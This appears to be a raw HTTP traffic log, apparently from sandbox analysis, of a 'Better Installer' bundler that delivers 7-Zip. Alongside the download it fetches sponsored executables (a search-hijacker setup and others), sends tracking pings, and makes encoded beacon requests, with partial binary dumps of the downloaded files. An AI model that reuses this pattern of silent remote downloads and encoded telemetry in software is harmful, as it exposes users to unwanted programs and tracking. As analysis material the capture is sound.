GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=416430-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:28 GMT

Content-Type: application/octet-stream

Content-Length: 694046

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=4&index_in_screen=1&index_in_session=4&0.6651464849393311 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.1.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:59 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:01:59 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=1&index_in_screen=1&index_in_session=1&0.9529827904672641 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.2.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:02:00 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:02:00 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:04 GMT

Date: Tue, 24 Feb 2015 00:01:04 GMT

Content-Range: bytes 0-583151/583152

Content-Length: 583152

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9thl_QF0bM9HVGYuJOQXdmlyvKrGpbATO_xLknc_yA_1KnwNhZiPgw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................V...F....UC...~.
.F.P.et....y..N.Q..t......E....P#C.t.V..t.......^]...........U......}.
.VWt.j.j.......A.#A........t5..a.....E.P.M..E..RC...o..h..C..M.Q.u..}.
.E..VC..F.....t5.oa...U.R.M....E..RC...n..h..C..E.P.u..}..E..VC.......
:a...M.Q.M....E..RC...n..h..C..U.R.u..}..E..VC.............U..Q.H0V.1j
[email protected]....^..]................U..VW.}.W....n...
..VC..G..F..O._.N....VC...^]...U..VW.}.W....n.....VC..G..F..O._.N...^]
..............Q..D.8..t......B...........U..j.h..C.d.....PQSVW.t.C.3.P
.E.d......u.3..M..F......N....]..M..E........w9.F....r.j.j.....:......
...Q .......]..~..r.....................we.F....r.j.j.....:.........Q 
..Q....]......9~.r...........?....H.9~.r.............(................
.........w~.F....r.j.j....3:.........Q ...-...]......9~.r.........<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:00 GMT

Content-Range: bytes 250000-499999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vZAIrUGkNjdOWSg72GGr7JXF_DPwcsdr8LSOI8r1oQlzNLVDzHtinw==
[email protected].~.....$.....M...
...t..L..............t..L.. .......................A;.r..Yj.........X 
................... ...w..L....A .........w.....H. .A.................
..A;.r..M._^3.[..L....].j.h.)M......3..u..v........~M..Opt.9wlt..wh..u
.j .o...Y........j......Y.u..wh.u.;5.{M.t4..t........u....yM.t.V.`Z..Y
..{M..Gh.5.{[email protected]..&...Y.j.h8)M..............
...]..<....sh.u......Y.E.;F...h...h ....v...Y......U.........E..ph.
...3..3S.u..A...YY...}..........E..Hh.......u..Hh...yM.t.Q..Y..Y.E..Xh
[email protected]..@[email protected]
....M....}.f.DK.f..MH.M.A.....M.......}..D.....wM.A...u.......}.......
....xM.F....{M........u...{M.=.yM.t.P..X..Y...{[email protected]
.}.j......Y..#...u....yM.t.S..X..Y.............3.........U.... ..tM.3.
.E.SV.u..u..6.....Y..u.V.....Y3......W3......M.9..{M.......A..0.M.=...
.r............................P....I..........E.PS..$.I.........h.....
F.WP......^....3.......C9].vO.}...E.t!.H...t..........L...A;.v.....8.u
[email protected]..".............^....~.3..~.........9=X.M.t.V.......
...........h.....F.WP........kE.0.E....{M..E..8...t5.A...t ...........
...s....{M..D..B..A.;.v.....9.u..E.G....E....r.S.^..F......o..........
...E..N.j....{M._f...R.f...I.Ou.V.I...Y3._.M.^3.[..H....].U......M.S.u
...P...]..C.=....w..E..........X.n...M.....E.Q...P.n...YY..t..E.j..E..
]..E..Y..3..]..E..A.E.j..p..E.PQ.E.P.E.j.P..........u.8E.t..E..`p.3...
..E.#E..}..t..M..ap.[..].U......u..M...O...E.....E..........H%....<<< skipped >>>

GET /p.ashx?e=LCnUzM5l8JJsK0lFUFVJ7 LyPyzo0umu2kszt4ETYAl4E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqnm/0RnoY4Wt00NztRBE6cYCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLapv5CRHcVePUj6EQb8iyo3pFJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8Bj6mgHODYERpZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: APdnFgqqdWHBRpJzTz-6-yToIfWXjtWejhAHSIy9VFSGYWm3qrtqtA==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:02:02 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 a436b6df4b0d1bd189edf722b5d2a5
23.cloudfront.net (CloudFront)..X-Amz-Cf-Id: l88zdfBEhl3PcaNap-yl74SVD
q9UxEX2bPqCf2trU-4pUi5SHBYO2w==......

GET /p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIj9DDxdB8IX3/IOb5O/qAEzZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvanZg GKSxq5XHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRowJxLy8Rm 8l HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS/EwmIzwYmjRwCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OCfK5w9Mw84Eg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Nr9GadsXJyf8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDuZtz4s1IP6Cg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sES95T9zGFHpOMv_3eheDMgtp8iSyA3vP5dcZeR_pZNXPczWqXSWPg==

....

GET /p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H181XMstzEWN0GMkWwl748xuHRUPzU7mvNY8ojP9wctSvrRmpLiCB02 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: avSEaWoGUbPoPoiEFetPoWabaLUtwt8Tu5tMkp8RhWdT4x0c0lb4Tw==

....

GET /p.ashx?e=hWfaA75NtHGgFyq1UqA1LYduf7GeaOfNsg7jyZ2P5QEd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaLhu0b45kiT/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl8DAJatLB/sX HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: BAd4Moyzh-T3ZAdOPsad_fpkNRqjnrjIEwdFyWTsq6dX6VtwjK7EKQ==

....

GET /p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppnbJKYwPfuhAwwtn0cGcExBQC drCF7eFA85gupkG6porE8ANtsVzeGuFeofeewt/F/cWTWtK18pxfPPqf5kniuhyljEl5CCZniFfHVexMiakRR0NmOWSSOo/P jz2EcHP40kJQMKVZbKRjC4E7vSTS/np5um4urBp7yJ8dcNjz27n9CATVj9 V rk3e81mP0GgMAIK3odR5fq5N3vNZj9I0JuWqrkLjngaVLoCbAe5HS7fpTOHWndp4dRxqvgD9SqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Nr9GadsXJyf8wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDuZtz4s1IP6Cg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eJTukNpWr6XHkPVNP03h1Nn1YwoWnhjbddjRWiG1XNg86HGbS7NV-A==

....

GET /p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKOcXM978RrvxgTxIUcsgQ w0eteH8KxBtakHX utQO2t7GJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:07 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jdOcjacUFttV9DulwIxWNh3fPlVixCLi7_lnaQlpyMvXmduU9xLY1w==

....

GET /p.ashx?e=avvs8glXF/zulzvurkdMta02cWU/9GqTQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL16Sm/NUmuZILaKig fkRtZKGeDnufHXu7RoVOXLTxMppxBAEp0wLfKOWnHKXQ4ByT9CUHeR8YCF3cICI7/tQlejZeojEglKF4wTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS/EwmIzwYmjRwCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OCfK5w9Mw84Eg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: K0fWuhnJqhPPvr1hoe00a5ZVsVAR6OBsBDeFD5iYCF7r-U2TINjq8Q==

....

GET /p.ashx?e=QHucCbLl /a3UIXclMT28rnjMnh 4VIhE4TSqwr5Own8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bQ94V6p2b0iPoAQkWl KJecj1mEjbWMPAZZWmyv2w9PlybvQmbZnorvSOrYhj46XfQgpnHZJVLNW8M HGYhu8yV1qg9mP3gfJPb/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO79I32qLmgkBzr0Y7vf0dioHxIkD535tYITCt8G2WWNXXjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oBpZjAoYPEoNWj3G6SQTlg9exEz5BTHGYuCgMCeNYt4OQkjDUoJbyA==

....

GET /p.ashx?e=043Mckb8Lnj5nRk39lR6RYduf7GeaOfNoOZ8Vy4PwRAd2u58kk/k/Q1XyCbetQQ4OFMWIH8tWhfHsP81YNOEhEyKEnCf7vECisrImanoEL69iLFR6fZRo0AwivYxPBFHXS/G3EQZqX1I07m/8d9H/7SveW4 k4NaX4l9XCm/Va/RnP0Nx2OBM8ZzdmTcUAA7BPEhRyyBD7B8meHxUMSBFO3yRv1nYrxg2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:04 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SbVIVJ93wO372czdD190l5auCgckSuWkk7CxDZm5jgvnirSwaOEoRg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:02:04 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 a436b6df4b0d1bd189edf722b5d2a5
23.cloudfront.net (CloudFront)..X-Amz-Cf-Id: SbVIVJ93wO372czdD190l5auC
gckSuWkk7CxDZm5jgvnirSwaOEoRg==......

GET /p.ashx?e=obiBp3WOda9PNjxRBLtb43 uoGbc9PjB/WD6e6SZIIGq9exvwYRubwRSl12vCJvFUaBgE/HaVF3AJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4IZf1LqK7dF9 b/YhL9w2PTXoMXpqBnYfbVvgcpeW1zD5i6K0mlT5TWz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0oNS9YmzSzvlne8sUdluIdR/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7pLVWI/1cgTJbEk4UnuKEOC ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CSyl24C9nJlTiv1vw4Jm-gmaDucRKbGkU2QvpRd9tOT3y2VA61O5Sg==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 2015 00:02:14 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 a436b6df4b0d1bd189edf722b5d2a5
23.cloudfront.net (CloudFront)..X-Amz-Cf-Id: CSyl24C9nJlTiv1vw4Jm-gmaD
ucRKbGkU2QvpRd9tOT3y2VA61O5Sg==..

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Tue, 24 Feb 2015 00:02:14 GMT

Server: nginx

Expires: Sun, 22 Feb 2015 05:06:58 GMT

Cache-Control: max-age=600

Age: 75

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Yus2NriEIcYl41kP9qqx6NCrz9FqlvbZfLqv2D0w59FYFC7N8gU5qA==

